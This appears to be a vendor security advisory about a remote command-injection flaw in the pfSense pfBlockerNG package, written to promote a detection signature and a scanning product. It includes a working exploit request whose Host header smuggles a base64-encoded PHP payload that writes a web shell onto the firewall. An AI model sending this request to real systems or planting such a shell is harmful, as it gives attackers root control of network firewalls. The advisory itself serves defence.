pfBlockerNG is a pfSense® software package used for IP/DNS-based filtering. Its purpose is to extend pfSense's core firewall functionality by allowing users to control and manage inbound and outbound access, through the firewall using IP and DNS control lists.
pfSense pfBlockerNG could allow a remote attacker to execute arbitrary commands on the system, caused by improper input validation.
By sending a specially crafted request using shell metacharacters in the HTTP Host header, an attacker could exploit this vulnerability to execute arbitrary commands as root on the system.
GET /pfblockerng/www/index.php HTTP/1.1
Accept-Encoding: gzip, deflate
Host: ' *; echo 'PD8kYT1mb3BlbigiL3Vzci9sb2NhbC93d3cvc3lzdGVtX2FkdmFuY2VkX2NvbnRyb2wucGhwIiwidyIpIG9yIGRpZSgpOyR0PSc8P3BocCBwcmludChwYXNzdGhydSggJF9HRVRbImMiXSkpOz8+Jztmd3JpdGUoJGEsJHQpO2ZjbG9zZSggJGEpOz8+'|python3.8 -m base64 -d | php; '
By turning this into a traffic file and matching rule, we are able to detect attempts to execute arbitrary OS commands as root, via shell metacharacters, in the HTTP Host header.
Idappcom has created signature 8023103 along with a traffic file for this vulnerability.
If you are concerned that your business may be at risk of this vulnerability or others why not try out our Traffic IQ software which can scan your defences and report any issues. Learn more here: https://www.idappcom.co.uk/traffic-iq-professional